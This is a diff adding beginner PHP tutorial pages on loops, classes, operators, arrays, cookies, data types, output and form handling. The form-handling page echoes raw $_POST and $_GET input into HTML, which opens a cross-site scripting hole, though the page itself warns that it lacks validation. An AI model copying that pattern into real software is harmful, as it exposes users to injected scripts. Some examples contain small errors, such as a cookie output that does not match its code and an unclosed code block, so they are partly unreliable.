<add>## For Loop
<add>
<add>The PHP `for` statement consists of three expressions and a statement:
<add>
<add>`for ((initialization); (condition); (final-expression)) statement`
<add>
<add>### Description
<add>
<add>- initialization
<add> - Run before the first execution on the loop.
<add> - This expression is commonly used to create counters.
<add> - Variables created here are scoped to the loop. Once the loop has finished it is execution they are destroyed.
<add>- condition
<add> - Expression that is checked prior to the execution of every iteration.
<add> - If omitted this expression evaluates to `true`.
<add>- final-expression
<add> - Expression that is run after every iteration.
<add> - Usually used to increment a counter.
<add> - But it can be used to run any expression.
<add>- statement
<add> - Code to be repeated in every loop iteration.
<add>
<add>Any of these three expressions or the statement can be ommited.
<add>
<add>The expressions can contain multiple expressions separated by comma.
<add>
<add>In the (condition) expression, all the comma separated expressions will be evaluated.
<add>
<add>The result is obtained from the last one.
<add>
<add>For loops are commonly used to count a certain number of iterations to repeat a statement.
<add>
<add>### Common Pitfalls
<add>
<add>#### Exceeding the bounds of an array
<add>
<add>When indexing over an array many times it is easy to exceed the bounds of the array (ex. try to reference the 4th element of a 3 element array).
<add>
<add>```php
<add>// This will cause an error.
<add>// The bounds of the array will be exceeded.
<add>$arr = array(1,2,3);
<add>
<add>for ($i = 0; $i <= count($arr); $i++) {
<add> var_dump($arr[$i]);
<add>}
<add>```
<add>
<add>This will output:
<add>
<add>```txt
<add>int(1) int(2) int(3) NULL
<add>```
<add>
<add>There are to ways to fix this code.
<add>
<add>Set the condition to either `$i < count($arr)` or `$i <= count($arr) - 1`.
<add>
<add>#### Performance Issues
<add>
<add>The above code can became slow, because the array size is fetched in every iteration.
<add>
<add>In order to fix this problem it is possible to put the array size into a variable.
<add>
<add>```php
<add>//create the $size variable with a second expression comma separated
<add>for ($i = 0, $size = count($arr); $i < $size; ++$i) {
<add>```
<add>
<add>### More Information
<add>
<add>- <a href='https://secure.php.net/manual/en/control-structures.for.php' target='_blank' rel='nofollow'>PHP.net - Control Structures</a>
<ide><path>mock-guide/english/php/loops/index.md
<add>---
<add>title: Loops
<add>---
<add>
<add>## Loops
<add>
<add>Loops are used in PHP to perform repeated tasks based on a condition.
<add>
<add>Conditions typically return `true` or `false` when analysed.
<add>
<add>A loop will continue running until the defined condition returns `false`.
<add>
<add>You can type `php for` , `php while` or `php do while` to get more info on any of these.
<add>
<add>
<add>## PHP Loops
<add>Often when you write code, you want the same block of code to run over and over again in a row. Instead of adding several almost equal code-lines in a script, we can use loops to perform a task like this.
<add>
<add>In PHP, we have the following looping statements:
<add>
<add>while - loops through a block of code as long as the specified condition is true
<add>do...while - loops through a block of code once, and then repeats the loop as long as the specified condition is true
<add>for - loops through a block of code a specified number of times
<add>foreach - loops through a block of code for each element in an array
<add>
<add>
<add>### More Information
<add>
<add>- <a href='https://secure.php.net/manual/control-structures.for.php' target='_blank' rel='nofollow'>PHP.net - For Loops</a>
<ide><path>mock-guide/english/php/loops/while-loop/index.md
<add>---
<add>title: While Loop
<add>---
<add>## While Loop
<add>
<add>The `while loop` is one of the easiest type of loop in PHP. It executes the block of statements until the expression evaluates to **TRUE**. If the value of the expression changes at the time of execution, then the loop runs until the expression evaluates to **FALSE**.The Basic Form of While Loop is given below:
<add>
<add>```shell
<add>while (expr)
<add> statement
<add>```
<add>The Statements inside the while loop can be enclosed within the curly braces or can be used based on the following syntax:
<add>
<add>```shell
<add>while (expr):
<add> statement
<add> ...
<add>endwhile;
<add>```
<add>Illustrating the simple and alternate syntax of while loop using example:
<add>
<add>```php
<add><?php
<add>
<add>/* using the simple form of while loop */
<add>
<add>$i = 1; /* initialisation part */
<add>
<add>while ($i <= 100 && $i!=5 )
<add>{
<add> echo $i++;
<add>}
<add>
<add>/*using the alternate synatx of while loop*/
<add>
<add>$i = 0;
<add>
<add>while ($i <= 10):
<add> echo $i++;
<add>endwhile;
<add>
<add>?>
<add>```
<add>
<add>#### More Information
<add>
<add>[While loop - PHP Documentation](http://php.net/manual/en/control-structures.while.php)
<ide><path>mock-guide/english/php/object-oriented-programming/index.md
<add>---
<add>title: Object Oriented Programming
<add>---
<add>## Object Oriented Programming
<add>
<add>Object Oriented Programming, as the name suggests, is all about objects. You are basically trying to create a piece of software neatly organized in objects. This approach makes the code scalable with reusable components.
<add>
<add>
<add>### MAN CLASS
<add>
<add>Let’s say you want to create a program about men in general.
<add>
<add>
<add>Average men have all kinds of stuff in common like giving firm handshakes, being stubborn, not putting toilet paper rolls back, falling in love with the latest gadgets, etc. These could be described as behaviors or methods of Man object.
<add>
<add>Men also have their own distinct features like age, height, favorite sports, favorite drinks, etc. These could be described as properties or attributes of Man object.
<add>
<add>With these in mind, creating a Man class is not so difficult anymore. So, the program would go like this.
<add>
<add>
<add>```php
<add><?php
<add>
<add>class Man
<add>{
<add> public $name;
<add> public $age;
<add> public $height;
<add> public $fav_sports;
<add> public $fav_drinks;
<add>
<add> public function giveFirmHandshakes()
<add> {
<add> return "I give firm handshakes.";
<add> }
<add>
<add> public function beStubborn()
<add> {
<add> return "I am stubborn.";
<add> }
<add>
<add> public function notPutToiletPaper()
<add> {
<add> return "It's not humanly possible to remember to put toilet paper rolls when they are finished";
<add> }
<add>}
<add>```
<add>
<add>
<add>### MAN OBJECT
<add>
<add>Now that we have this *Man* class, we can create any particular man by creating an instance of class known as class instantiation.
<add>
<add>```php
<add><?php
<add>
<add>// Create a Man object called "Jack" (i.e. instantiation)
<add>$jack = new Man();
<add>
<add>// Set values to Jack's attributes
<add>$jack->name = "Jack";
<add>$jack->age = 30;
<add>$jack->height = "6 feet";
<add>$jack->fav_sports = ["basketball", "soccer"];
<add>$jack->fav_drinks = ["coffee", "green tea"];
<add>
<add>// Print out Jack's attributes and values
<add>echo "Our man's name is: " . $jack->name . "\n";
<add>echo "He is " . $jack->age . " years old and " . $jack->height . " tall.";
<add>
<add>echo "His favorite sports are: ";
<add>foreach ($jack->fav_sports as $sport) {
<add> echo $sport . " ";
<add>}
<add>
<add>echo "\nHis favorite drinks are: ";
<add>foreach ($jack->fav_drinks as $drink) {
<add> echo $drink . " ";
<add>}
<add>
<add>// Print out Jack's behaviors common to all men (hint: defined in Man class)
<add>echo "\nHe said these are some of his behaviors common to other men: ";
<add>echo "\n\t" . $jack->giveFirmHandshakes();
<add>echo "\n\t" . $jack->beStubborn();
<add>echo "\n\t" . $jack->notPutToiletPaper();
<add>
<add>```
<add>
<add>Here you can see that a man named Jack was created with name of “Jack”, height of “6 feet”, favorite sports “basketball and soccer” and favorite drinks “coffee and green tea”. These attributes are called instance variables.
<add>
<add>Then he has the behaviors of all the men like giving firm hand shakes, being stubborn and not putting back toilet paper. All these behaviors are called instance methods.
<add>
<add>
<add>### CONSTRUCTORS
<add>
<add>So far, we created a class called “Man” and an object called “Jack” by instantiating that class. We also gave Jack values for his attributes (name, height, favorite sports and drinks) and call his behaviors common to all men (giving firm handshakes, staying stubborn and not putting toilet papers back).
<add>
<add>Let’s take this idea one step further and get Jack to start introducing himself whenever we create Jack object without actually having to print them out individually like this:
<add>
<add>
<add>```php
<add><?php
<add>// Print out Jack's attributes and values
<add>echo "Our man's name is: " . $jack->name . "\n";
<add>echo "He is " . $jack->age . " years old and " . $jack->height . " tall.";
<add>```
<add>
<add>This is where constructors come into play. Constructors are basically special methods that get called when an object is created.
<add>
<add>So, the idea is to print out Jack’s name, age and height when we create “Jack” object by instantiating Man class. In order to make this happen, we need to however specify the name, age and height when we create the object like this:
<add>
<add>
<add>```php
<add><?php
<add>// Create a Man object called "Jack"
<add>$jack = new Man('Jack', 30, '6 feet');
<add>```
<add>
<add>This code tells the Man class to create an object with 3 parameters: ‘Jack’ for name, 30 for age and ‘6 feet’ for height.
<add>
<add>Now that we have passed these parameters while instantiating the class, we can easily use them to make the constructor method.
<add>
<add>
<add>```php
<add><?php
<add>// Create a constructor method with 3 required parameters: name, age and height
<add>public function __construct($name, $age, $height)
<add>{
<add> // Print out to say "object created"
<add> echo "object created\n";
<add>
<add> // Assign the values of parameters to properties
<add> // Also known as instance variables
<add> // Using "$this->property_name"
<add> $this->name = $name;
<add> $this->age = $age;
<add> $this->height = $height;
<add>
<add> // Print out Jack's attributes and values
<add> echo "Our man's name is: " . $this->name . "\n";
<add> echo "He is " . $this->age . " years old and " . $this->height . " tall.";
<add>}
<add>```
<add>
<add>So, now whenever we instantiate Man class, we need to put 3 parameters and they will be printed out right away.
<add>
<add>```php
<add><?php
<add>// Create a Man object called "Jack"
<add>$jack = new Man('Jack', 30, '6 feet');
<add>```
<add>
<add>
<add>`Object created`
<add>`Our man’s name is: Jack`
<add>`He is 30 years old and 6 feet tall.`
<add>
<add>The complete code with constructor would be something like this:
<add>
<add>
<add>```php
<add><?php
<add>
<add>class Man
<add>{
<add> // 1. Declare the properties
<add> public $name;
<add> public $age;
<add> public $height;
<add> public $fav_sports;
<add> public $fav_drinks;
<add>
<add> // 2. Create a constructor method with 3 required parameters: name, age and height
<add> public function __construct($name, $age, $height)
<add> {
<add> // 2A. Assign the values of parameters to class properties
<add> // Also known as instance variables
<add> // Using "$this->property_name"
<add> $this->name = $name;
<add> $this->age = $age;
<add> $this->height = $height;
<add>
<add> // 2B. Print out Jack's attributes and values
<add> echo "Our man's name is: " . $this->name . "\n";
<add> echo "He is " . $this->age . " years old and " . $this->height . " tall.";
<add> }
<add>
<add> // 3. Create methods
<add> public function giveFirmHandshakes()
<add> {
<add> return "I give firm handshakes.";
<add> }
<add>
<add> public function beStubborn()
<add> {
<add> return "I am stubborn.";
<add> }
<add>
<add> public function notPutToiletPaper()
<add> {
<add> return "It's not humanly possible to remember to put toilet paper rolls when they are finished";
<add> }
<add>}
<add>
<add>// 4. Create a Man object called "Jack"
<add>// This will print out the echo statements inside "__construct" method inside the class
<add>$jack = new Man('Jack', 30, '6 feet');
<add>
<add>// 5. Set values to Jack's favorite sports and drinks
<add>$jack->fav_sports = ["basketball", "soccer"];
<add>$jack->fav_drinks = ["coffee", "green tea"];
<add>
<add>// Print out Jack's favorite sports and drinks
<add>echo "His favorite sports are: ";
<add>foreach ($jack->fav_sports as $sport) {
<add> echo $sport . " ";
<add>}
<add>
<add>echo "\nHis favorite drinks are: ";
<add>foreach ($jack->fav_drinks as $drink) {
<add> echo $drink . " ";
<add>}
<add>
<add>// Print out Jack's behaviors common to all men
<add>// (hint: defined in Man class)
<add>echo "\nHe said these are some of his behaviors common to other men: ";
<add>echo "\n\t" . $jack->giveFirmHandshakes();
<add>echo "\n\t" . $jack->beStubborn();
<add>echo "\n\t" . $jack->notPutToiletPaper();
<add>```
<add>
<add>Now, we don’t have to set Jack’s name, age and height separately and print them anymore. Whenever we create Jack object, we just specify his properties as the parameters and they will get printed automatically by the help of the constructor. We can also put his favorite sports and drinks in the parameter if we want by
<add>
<add>specifying them as parameters while creating the object and
<add>putting the echo lines inside the constructor.
<add>You can visit here for more information on PHP implementation of constructors. Our OOP journey has been slow but steady.
<add>
<add>
<add>### KEEPING A MAN’S SECRETS
<add>
<add>
<add>
<add>If you noticed all the class variables (name, age, height, fav_sports and fav_drinks) are declared as public inside Man class. Right now, after creating a Man object, we have access to all of his properties by simply calling them:
<add>
<add>```php
<add><?php
<add>echo $jack->name;
<add>echo $jack->height;
<add>```
<add>
<add>But what if we want to keep certain things secret about the man? Maybe he doesn’t want everyone to know his age … or … maybe he only wants certain people to know his favorite drinks. We can make this happen by changing the visibility of those properties from public to protected and even private.
<add>
<add>Public properties are accessible anywhere, both inside and outside the class.
<add>
<add>Protected properties are accessible inside the class and inside the children class(es).
<add>
<add>Private properties have the same visibility as protected except they cannot be accessed by the children class(es).
<add>
<add>We will talk about inheriting a class in a bit. For now, let’s try to set age protected and favorite_drinks private in Man class.
<add>
<add>```php
<add><?php
<add>
<add>class Man
<add>{
<add> // 1. Declare the variables
<add> public $name;
<add> protected $age;
<add> public $height;
<add> public $fav_sports;
<add> private $fav_drinks;
<add> .....
<add> .....
<add>```
<add>
<add>Now if you try to instantiate the class and call age and fav_drinks, you will get an error.
<add>
<add>
<add>```php
<add><?php
<add>$jack = new Man('Jack', 30, '6 feet');
<add>
<add>echo $jack->age;
<add>// Fatal error: Cannot access protected property Man::$age
<add>
<add>print_r($jack->fav_drinks);
<add>// Fatal error: Cannot access private property Man::$fav_drinks
<add>```
<add>
<add>
<add>### SETTERS AND GETTERS
<add>
<add>Now that we have protected Jack’s age and favorite drinks, how do we exactly access them and update them?
<add>
<add>To get the protected or private properties, we need to create a getter method like this inside Man class (note that this is a class method with visibility of public).
<add>
<add>
<add>```php
<add><?php
<add>public function getAge()
<add>{
<add> return $this->age;
<add>}
<add>```
<add>
<add>Now we can easily get Jack’s age by calling this method:
<add>
<add>```php
<add><?php
<add>echo $jack->getAge();
<add>
<add>Jack just realized he turned 31 last week, how do we update his age? Can’t we just do this?
<add>
<add>```php
<add><?php
<add>$jack->age = 31;
<add>```
<add>
<add>Since age property is protected, we cannot access it directly outside the class whether to read it or update it. You will get a fatal error.
<add>
<add>`Fatal error: Cannot access protected property Man::$age`
<add>
<add>In order to update a protected/private property, we need to create a setter method inside the class with public visibility.
<add>
<add>```php
<add><?php
<add>public function setAge($age)
<add>{
<add> $this->age = $age;
<add>}
<add>```
<add>
<add>Now we can easily update Jack’s age by just calling this setter method:
<add>
<add>```php
<add><?php
<add>$jack->setAge(31);
<add>
<add>echo $jack->getAge();
<add>// 31
<add>```
<add>
<add>We can also create setter and getter class methods for fav_drinks. Note that we have made the parameter for setFavDrinks optional. So, if you don’t pass an array to setFavDrinks, it will default to an empty array.
<add>
<add>```php
<add><?php
<add>public function setFavDrinks($drinks = array())
<add>{
<add> if ($drinks) {
<add> $this->fav_drinks = $drinks;
<add> }
<add>}
<add>
<add>public function getFavDrinks()
<add>{
<add> return $this->fav_drinks;
<add>}
<add>```
<add>
<add>To set Jack’s fav_drinks:
<add>
<add>```php
<add><?php
<add>$jack->setFavDrinks(["coffee", "green tea"]);
<add>```
<add>
<add>To get Jack’s fav_drinks:
<add>
<add>```php
<add><?php
<add>echo json_encode($jack->getFavDrinks());
<add>// ["coffee","green tea"]
<add>```
<add>
<add>This way of implementing and using class methods to retrieve and update class properties is called encapsulation in Object Oriented Programming. We can also set visibility for class methods just like how we did it for class properties.
<ide><path>mock-guide/english/php/operators/index.md
<add>---
<add>title: Operators
<add>---
<add>
<add>## Operators
<add>
<add>
<add>PHP contains all the normal operators one would expect to find in a programming language.
<add>
<add>A single “=” is used as the assignment operator and a double “==” or triple “===” is used for comparison.
<add>
<add>The usual “<” and “>” can also be used for comparison and “+=” can be used to add a value and assign it at the same time.
<add>
<add>Most notable is the use of the “.” to concatenate strings and “.=” to append one string to the end of another.
<add>
<add>New to PHP 7.0.X is the Spaceship operator (<=>).
<add>The spaceship operator returns -1, 0 or 1 when $a is less than, equal to, or greater than $b.
<add>
<add>```php
<add><?php
<add>
<add>echo 1 <=> 1; // 0
<add>echo 1 <=> 2; // -1
<add>echo 2 <=> 1; // 1
<add>
<add>```
<ide><path>mock-guide/english/php/php-array/index.md
<add>---
<add>title: Php Arrays
<add>---
<add>
<add>An array is a data structure that stores one or more similar type of values in a single value. For example, if you want to store 100 numbers then instead of defining 100 variables it's easier to define an array of length 100.
<add>
<add>There are three different kind of arrays and each array value is accessed using an ID which is called array index.
<add>
<add>Indexed array − An array with a numeric index. Values are stored and accessed in a linear fashion.
<add>
<add>Associative array − An array with strings as the index. This stores element values in association with key values rather than in a strict linear index order.
<add>
<add>Multidimensional array − An array containing one or more arrays and values are accessed using multiple indices.
<add>
<add>NOTE: Built-in array functions are given in the function reference PHP Array Functions section.
<add>
<add>### Indexed Arrays
<add>These arrays can store numbers, strings and any object but their index will be represented by numbers. By default array index starts from zero.
<add>
<add>#### Example
<add>Following is the example showing how to create and access indexed arrays.
<add>
<add>Here we have used the array() function to create an array. This function is explained in function reference.
<add>
<add>```
<add><html>
<add> <body>
<add>
<add> <?php
<add> /* First method to create an array. */
<add> $numbers = array(1, 2, 3, 4, 5);
<add>
<add> foreach( $numbers as $value ) {
<add> echo "Value is $value <br />";
<add> }
<add>
<add> /* Second method to create an array. */
<add> $numbers[0] = "one";
<add> $numbers[1] = "two";
<add> $numbers[2] = "three";
<add> $numbers[3] = "four";
<add> $numbers[4] = "five";
<add>
<add> foreach( $numbers as $value ) {
<add> echo "Value is $value <br />";
<add> }
<add> ?>
<add>
<add> </body>
<add></html>
<add>```
<add>
<add>This will produce the following result −
<add>
<add>```
<add>Value is 1
<add>Value is 2
<add>Value is 3
<add>Value is 4
<add>Value is 5
<add>Value is one
<add>Value is two
<add>Value is three
<add>Value is four
<add>Value is five
<add>```
<add>
<add>### Associative Arrays
<add>The associative arrays are very similar to Indexed arrays in term of functionality but they are different in terms of their index. The elements in an associative array have their indices as strings so that you can establish a strong association between the keys and values.
<add>
<add>To store the salaries of employees in an array, a numerically indexed array would not be the best choice. Instead, we can use the employee's names as the keys in our associative array, and the value will be their respective salaries.
<add>
<add>NOTE: Don't keep an associative array inside double quotes while printing otherwise it will not return any value.
<add>
<add>#### Example
<add>
<add>```
<add><html>
<add> <body>
<add>
<add> <?php
<add> /* First method to associate create an array. */
<add> $salaries = array("mohammad" => 2000, "qadir" => 1000, "zara" => 500);
<add>
<add> echo "Salary of Mohammad is ". $salaries['mohammad'] . "<br />";
<add> echo "Salary of Qadir is ". $salaries['qadir']. "<br />";
<add> echo "Salary of Zara is ". $salaries['zara']. "<br />";
<add>
<add> /* Second method to create an array. */
<add> $salaries['mohammad'] = "high";
<add> $salaries['qadir'] = "medium";
<add> $salaries['zara'] = "low";
<add>
<add> echo "Salary of Mohammad is ". $salaries['mohammad'] . "<br />";
<add> echo "Salary of Qadir is ". $salaries['qadir']. "<br />";
<add> echo "Salary of Zara is ". $salaries['zara']. "<br />";
<add> ?>
<add>
<add> </body>
<add></html>
<add>```
<add>
<add>This will produce the following result −
<add>
<add>```
<add>Salary of Mohammad is 2000
<add>Salary of Qadir is 1000
<add>Salary of Zara is 500
<add>Salary of Mohammad is high
<add>Salary of Qadir is medium
<add>Salary of Zara is low
<add>```
<add>
<add>### Multidimensional Arrays
<add>In a multi-dimensional array, each element in the main array can also be an array. And each element in the sub-array can be an array, and so on. Values in the multi-dimensional array are accessed using multiple indices.
<add>
<add>#### Example
<add>In this example, we will create a two-dimensional array to store marks of three students in three subjects −
<add>
<add>This example is an associative array, you can create an indexed array in a similiar fashion.
<add>
<add>```
<add><html>
<add> <body>
<add>
<add> <?php
<add> $marks = array(
<add> "mohammad" => array (
<add> "physics" => 35,
<add> "maths" => 30,
<add> "chemistry" => 39
<add> ),
<add>
<add> "qadir" => array (
<add> "physics" => 30,
<add> "maths" => 32,
<add> "chemistry" => 29
<add> ),
<add>
<add> "zara" => array (
<add> "physics" => 31,
<add> "maths" => 22,
<add> "chemistry" => 39
<add> )
<add> );
<add>
<add> /* Accessing multi-dimensional array values */
<add> echo "Marks for Mohammad in physics : " ;
<add> echo $marks['mohammad']['physics'] . "<br />";
<add>
<add> echo "Marks for Qadir in maths : ";
<add> echo $marks['qadir']['maths'] . "<br />";
<add>
<add> echo "Marks for Zara in chemistry : " ;
<add> echo $marks['zara']['chemistry'] . "<br />";
<add> ?>
<add>
<add> </body>
<add></html>
<add>```
<add>
<add>This will produce the following result −
<add>
<add>```
<add>Marks for Mohammad in physics : 35
<add>Marks for Qadir in maths : 32
<add>Marks for Zara in chemistry : 39
<add>```
<ide><path>mock-guide/english/php/php-cookies/index.md
<add>---
<add>title: PHP Cookies
<add>---
<add>
<add># PHP COOKIES
<add>
<add>## What is a Cookie?
<add>
<add>A cookie is often used to identify a user. It is a small file that the server embeds on the user's computer.
<add>Each time the same computer requests a page with a browser, it will send the cookie too.
<add>Cookies were designed to be a reliable mechanism to remember stateful information or to record the user's browsing activity.
<add>They can also be used to remember arbitrary pieces of information that the user previously entered into form fields such as names, addresses, passwords, etc.
<add>
<add>## Creating Cookies with PHP
<add>
<add>With PHP, you can both create and retrieve cookie values.
<add>A cookie is created with the setcookie() function.
<add>
<add>`setcookie(name, value, expire, path, domain, secure, httponly);`
<add>
<add>Only the _name_ parameter is a required parameter. All other parameters are optional.
<add>
<add>
<add>## PHP Create/Retrieve a Cookie
<add>
<add>The following example creates a cookie named "user" with the value "John Doe".
<add>The cookie will expire after 30 days (86400 * 30).
<add>The "/" means that the cookie is available in entire website (else, you can select the directory you prefer).
<add>We then retrieve the value of the cookie "user" (using the global variable $_COOKIE).
<add>We also use the isset() function to find out if the cookie is set:
<add>
<add>**Example:**
<add>```
<add><?php
<add>$cookie_name = "user";
<add>$cookie_value = "John Doe";
<add>setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); // 86400 = 1 day
<add>?>
<add><html>
<add><body>
<add>
<add><?php
<add>if(!isset($_COOKIE[$cookie_name])) {
<add> echo "Cookie named '" . $cookie_name . "' is not set!";
<add>} else {
<add> echo "Cookie '" . $cookie_name . "' is set!<br>";
<add> echo "Value is: " . $_COOKIE[$cookie_name];
<add>}
<add>?>
<add></body>
<add></html>
<add>```
<add>
<add>**Note:** The setcookie() function must appear **BEFORE** the <html> tag.
<add>
<add>
<add>Output:
<add>Cookie 'user' is set!
<add>Value is: John Doe
<add>
<add>
<add>## PHP Modify a Cookie Value
<add>
<add>To modify a cookie, just set the value again using the setcookie() function:
<add>
<add>**Example:**
<add>```
<add><?php
<add>$cookie_name = "user";
<add>$cookie_value = "Jane Porter";
<add>setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/");
<add>?>
<add><html>
<add><body>
<add>
<add><?php
<add>if(!isset($_COOKIE[$cookie_name])) {
<add> echo "Cookie named '" . $cookie_name . "' is not set!";
<add>} else {
<add> echo "Cookie '" . $cookie_name . "' is set!<br>";
<add> echo "Value is: " . $_COOKIE[$cookie_name];
<add>}
<add>?>
<add>
<add></body>
<add></html>
<add>```
<add>
<add>Output:
<add>Cookie 'user' is set!
<add>Value is: Alex Porter
<add>
<add>
<add>## PHP Delete a Cookie
<add>
<add>To delete a cookie, use the setcookie() function with an expiration date in the past:
<add>
<add>**Example:**
<add>```
<add><?php
<add>// set the expiration date to one hour ago
<add>setcookie("user", "", time() - 3600);
<add>?>
<add><html>
<add><body>
<add>
<add><?php
<add>echo "Cookie 'user' is deleted.";
<add>?>
<add>
<add></body>
<add></html>
<add>```
<add>
<add>Output:
<add>Cookie 'user' is deleted.
<ide><path>mock-guide/english/php/php-data-types/index.md
<add>---
<add>title: PHP Data Types
<add>---
<add>
<add>## PHP Data Types
<add>
<add>Variables can store data of different types such as:
<add>* String ("Hello")
<add>* Integer (5)
<add>* Float (also called double) (1.0)
<add>* Boolean ( 1 or 0 )
<add>* Array ( array("I", "am", "an", "array") )
<add>* Object
<add>* NULL
<add>* Resource
<add>
<add>### PHP String
<add>
<add>A string is a sequence of characters. It can be any text inside quotes (single or double):
<add>
<add>#### Example
<add>```php
<add>$x = "Hello!";
<add>$y = 'Hello!';
<add>```
<add>
<add>### PHP Integer
<add>
<add>An integer data type is a non-decimal number between -2,147,483,648 and 2,147,483,647.
<add>
<add>Rules for integers:
<add>
<add>* An integer must have at least one digit
<add>* An integer must not have a decimal point
<add>* An integer can be either positive or negative
<add>* Integers can be specified in three formats: decimal (10-based), hexadecimal (16-based - prefixed with 0x) or octal (8-based - prefixed with 0)
<add>
<add>#### Example
<add>`$x = 5;`
<add>
<add>
<add>### PHP Float
<add>
<add>A float (floating point number) is a number with a decimal point or a number in exponential form.
<add>
<add>#### Example
<add>`$x = 5.01;`
<add>
<add>### PHP Boolean
<add>
<add>A Boolean represents two possible states: TRUE or FALSE. Booleans are often used in conditional testing.
<add>
<add>```php
<add>$x = true;
<add>$y = false;
<add>```
<add>
<add>### PHP Array
<add>
<add>An array stores multiple values in one single variable.
<add>
<add>`$colours = array("Blue","Purple","Pink");`
<add>
<add>
<add>### PHP NULL Value
<add>
<add>Null is a special data type which can have only one value: NULL.
<add>A variable of data type NULL is a variable that has no value assigned to it.
<add>Variables can also be emptied by setting the value to NULL.
<add>
<add>**Note:** If a variable is created without a value, it is automatically assigned a value of NULL.
<add>
<add>```php
<add><?php
<add>$x = "Hello world!";
<add>$x = null;
<add>?>
<add>```
<add>
<add>Output:
<add>NULL
<add>
<add>
<add>### PHP Object
<add>
<add>An object is a data type which stores data and information on how to process that data.
<add>In PHP, an object must be explicitly declared.
<add>First we must declare a class of object. A class is a structure that can contain properties and methods.
<add>
<add>**Example:**
<add>```php
<add><?php
<add>class Car {
<add> function Car() {
<add> $this->model = "VW";
<add> }
<add>}
<add>
<add>// create an object
<add>$herbie = new Car();
<add>
<add>// show object properties
<add>echo $herbie->model;
<add>?>
<add>```
<ide><path>mock-guide/english/php/php-echo-print/index.md
<add>---
<add>title: PHP 5 echo and print Statements
<add>---
<add>
<add>In PHP there are two basic ways to get output: echo and print.
<add>
<add>In this tutorial we use echo (and print) in almost every example. So, this chapter contains a little more info about those two output statements.
<add>
<add>### PHP echo and print Statements
<add>
<add>echo and print are more or less the same. They are both used to output data to the screen.
<add>
<add>The differences are small: echo has no return value while print has a return value of 1 so it can be used in expressions. echo can take multiple parameters (although such usage is rare) while print can take one argument. echo is marginally faster than print.
<add>
<add>### The PHP echo Statement
<add>
<add>The echo statement can be used with or without parentheses: echo or echo().
<add>
<add>#### Display Text
<add>
<add>The following example shows how to output text with the echo command (notice that the text can contain HTML markup):
<add>
<add>#### Example
<add>```php
<add><?php
<add>echo "<h2>PHP is Fun!</h2>";
<add>echo "Hello world!<br>";
<add>echo "I'm about to learn PHP!<br>";
<add>echo "This ", "string ", "was ", "made ", "with multiple parameters.";
<add>?>
<add>```
<add>
<add>#### Display Variables
<add>
<add>The following example shows how to output text and variables with the echo statement:
<add>
<add>#### Example
<add>```php
<add><?php
<add>$txt1 = "Learn PHP";
<add>$txt2 = "W3Schools.com";
<add>$x = 5;
<add>$y = 4;
<add>
<add>echo "<h2>" . $txt1 . "</h2>";
<add>echo "Study PHP at " . $txt2 . "<br>";
<add>echo $x + $y;
<add>?>
<add>```
<add>
<add>### The PHP print Statement
<add>
<add>The print statement can be used with or without parentheses: print or print().
<add>
<add>#### Display Text
<add>
<add>The following example shows how to output text with the print command (notice that the text can contain HTML markup):
<add>
<add>#### Example
<add>```php
<add><?php
<add>print "<h2>PHP is Fun!</h2>";
<add>print "Hello world!<br>";
<add>print "I'm about to learn PHP!";
<add>?>
<add>```
<add>
<add>#### Display Variables
<add>
<add>The following example shows how to output text and variables with the print statement:
<add>
<add>#### Example
<add>```php
<add><?php
<add>$txt1 = "Learn PHP";
<add>$txt2 = "W3Schools.com";
<add>$x = 5;
<add>$y = 4;
<add>
<add>print "<h2>" . $txt1 . "</h2>";
<add>print "Study PHP at " . $txt2 . "<br>";
<add>print $x + $y;
<add>?>
<add>```
<ide><path>mock-guide/english/php/php-expressions/index.md
<add>---
<add>title: PHP Expressions
<add>---
<add>## PHP Expressions
<add>
<add>This is a stub. <a href='https://github.com/freecodecamp/guides/tree/master/src/pages/php/php-expressions/index.md' target='_blank' rel='nofollow'>Help our community expand it</a>.
<add>
<add><a href='https://github.com/freecodecamp/guides/blob/master/README.md' target='_blank' rel='nofollow'>This quick style guide will help ensure your pull request gets accepted</a>.
<add>
<add><!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
<add>
<add>#### More Information:
<add><!-- Please add any articles you think might be helpful to read before writing the article -->
<ide><path>mock-guide/english/php/php-form-handling/index.md
<add>---
<add>title: PHP 5 Form Handling
<add>---
<add>
<add>The PHP superglobals $_GET and $_POST are used to collect form-data.
<add>
<add>### PHP - A Simple HTML Form
<add>
<add>The example below displays a simple HTML form with two input fields and a submit button:
<add>
<add>#### Example
<add>```php
<add><html>
<add><body>
<add>
<add><form action="welcome.php" method="post">
<add>Name: <input type="text" name="name"><br>
<add>E-mail: <input type="text" name="email"><br>
<add><input type="submit">
<add></form>
<add>
<add></body>
<add></html>
<add>```
<add>
<add>When the user fills out the form above and clicks the submit button, the form data is sent for processing to a PHP file named "welcome.php". The form data is sent with the HTTP POST method.
<add>
<add>To display the submitted data you could simply echo all the variables. The "welcome.php" looks like this:
<add>
<add>```php
<add><html>
<add><body>
<add>
<add>Welcome <?php echo $_POST["name"]; ?><br>
<add>Your email address is: <?php echo $_POST["email"]; ?>
<add>
<add></body>
<add></html>
<add>```
<add>
<add>The output could be something like this:
<add>
<add>```
<add>Welcome John
<add>Your email address is john.doe@example.com
<add>```
<add>
<add>The same result could also be achieved using the HTTP GET method:
<add>
<add>#### Example
<add>```php
<add><html>
<add><body>
<add>
<add><form action="welcome_get.php" method="get">
<add>Name: <input type="text" name="name"><br>
<add>E-mail: <input type="text" name="email"><br>
<add><input type="submit">
<add></form>
<add>
<add></body>
<add></html>
<add>```
<add>
<add>and "welcome_get.php" looks like this:
<add>
<add>```php
<add><html>
<add><body>
<add>
<add>Welcome <?php echo $_GET["name"]; ?><br>
<add>Your email address is: <?php echo $_GET["email"]; ?>
<add>
<add></body>
<add></html>
<add>```
<add>
<add>The code above is quite simple. However, the most important thing is missing. You need to validate form data to protect your script from malicious code.
<add>
<add>> **Think SECURITY when processing PHP forms!**
<add>>
<add>> This page does not contain any form validation, it just shows how you can send and retrieve form data.
<add>>
<add>> However, the next pages will show how to process PHP forms with security in mind! Proper validation of form data is important to > protect your form from hackers and spammers!
<add>
<add>### GET vs. POST
<add>
<add>Both GET and POST create an array (e.g. array( key => value, key2 => value2, key3 => value3, ...)). This array holds key/value pairs, where keys are the names of the form controls and values are the input data from the user.
<add>
<add>Both GET and POST are treated as $_GET and $_POST. These are superglobals, which means that they are always accessible, regardless of scope - and you can access them from any function, class or file without having to do anything special.
<add>
<add>$_GET is an array of variables passed to the current script via the URL parameters.
<add>
